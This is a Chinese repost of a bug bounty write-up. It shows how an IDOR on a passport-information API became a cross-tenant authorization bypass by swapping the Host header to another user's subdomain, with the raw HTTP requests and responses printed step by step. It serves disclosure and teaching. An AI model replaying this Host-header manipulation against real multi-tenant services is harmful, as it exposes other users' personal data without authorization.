文章总结: 本文分析了Host头篡改导致的逻辑越权漏洞。在多租户架构中,攻击者通过修改Host头将请求路由至其他用户子域,配合IDOR漏洞实现跨租户数据写入与读取。漏洞暴露了50多个API端点及关键PII数据。修复方案应严格校验Host头与认证令牌的匹配关系,避免仅依赖Host头进行路由决策。 综合评分: 85 文章分类: WEB安全,渗透测试,漏洞分析,应用安全,实战经验
技术干货:详解 Host Header 导致的逻辑越权与防护方案
原创
Pwn1 Pwn1
漏洞集萃
2026年2月10日 09:24 山东
免责声明 本公众号所发布的文章内容仅供学习与交流使用,禁止用于任何非法用途。
来源:
https://medium.com/@gkhck496/multi-tenant-authorization-bypass-via-host-header-manipulation-53e350b11468
在测试一个私有漏洞赏金计划时,我遇到了一个 IDOR 漏洞。乍一看,这似乎是一个简单的 IDOR 漏洞,我可以操纵 id 参数并将数据写入其他用户的记录。然而,系统处理子域名的方式存在异常。
每个用户都有一个专属的子域名
user1.domain.com → userId = 1234
user2.domain.com → userId = 4321
用户可以通过一个接口添加护照信息。此操作只能在提交后执行一次,数据无法修改。
添加护照信息的正常请求示例
POST /api/v3/passport/addPassport
Host: user1.domain.com
Authorization: <user1's sessionId>
id=1234&passportNo=00000000000&name=Test&address=Test+test+test+5
响应:
201 Created
然后可以使用以下方法检索已存储的数据:
GET /api/v3/passport?userId=1234
Host: user1.domain.com
Authorization: <user1's sessionId>
响应:
200 OK
{data}
尝试 IDOR 攻击(最初看起来有效)
为了测试 IDOR,我修改了 id 参数,将其从 1234 改为 4321:
POST /api/v3/passport/addPassport
Host: user1.domain.com
Authorization: <user1's sessionId>
id=4321&passportNo=00000000000&name=Test&address=Test+test+test+5
响应:
201 Created
请求已被接受,并返回 201 Created,表示已成功创建 userId=4321 的护照信息。
从同一子域检索数据:
GET /api/v3/passport?userId=4321
Host: user1.domain.com
Authorization: <user1's sessionId>
响应:
200 OK
{data}
这里存在一个问题:虽然使用另一个用户 ID 成功处理了请求,但这并没有影响用户 2 的请求。数据似乎只存储在发出请求的同一子域名下。
GET /api/v3/passport?userId=4321
Host: user2.domain.com
Authorization: <user2's sessionId>
响应:
404 NOT FOUND
这是一个影响有限的 IDOR 漏洞。要展示其真正的安全影响,我需要提升权限,并能够将这些数据写入另一个用户的子域。
进一步利用
方法:
我唯一做的就是把 Host 请求头改成了 user2 的域名。就这么简单。
POST /api/v3/passport/addPassport
Host: user2.domain.com
Authorization: <user1's sessionId>
id=4321&passportNo=00000000000&name=Test&address=Test+test+test+5
响应:
201 Created
然后用 user2 的会话验证:
GET /api/v3/passport?userId=4321
Host: user2.domain.com
Authorization: <user2's sessionId>
响应:
200 OK
搞定了!
如果我能修改 Host 请求头并成功发送此请求,那就意味着同样的方法适用于所有 API 端点。这对公司来说是一个严重的安全漏洞。
甚至用 user1 的会话直接读取 user2 子域的数据也成功:
GET /api/v3/passport?userId=4321
Host: user2.domain.com
Authorization: <user1's sessionId>!!!
响应:
200 OK
该漏洞允许不受限制地访问每个子域中的所有 API 端点,暴露了 50 多个端点,其中包括处理关键 PII 的端点。
时间线
- 已报道:2026 年 1 月 8 日 下午 5:17(UTC)
- 获得巨额赏金:2026 年 1 月 8 日 晚上 8 点(UTC 时间)
- 已解决:2026 年 1 月 8 日 晚上 9:34(UTC)
谢谢你!
觉得本文内容对您有启发或帮助? 点个关注➕,获取更多深度分析与前沿资讯!
👉 往期精选
注册功能漏洞检查清单
一种利用 HTTP 重定向循环的新型 SSRF 技术
API 渗透实战:从 JSON 响应倒推隐藏的高危路由
使用 Frida 在运行时拦截 OkHttp – 实用指南
一种利用 HTTP 重定向循环的新型 SSRF 技术
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:漏洞集萃 Pwn1 Pwn1《技术干货:详解 Host Header 导致的逻辑越权与防护方案》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论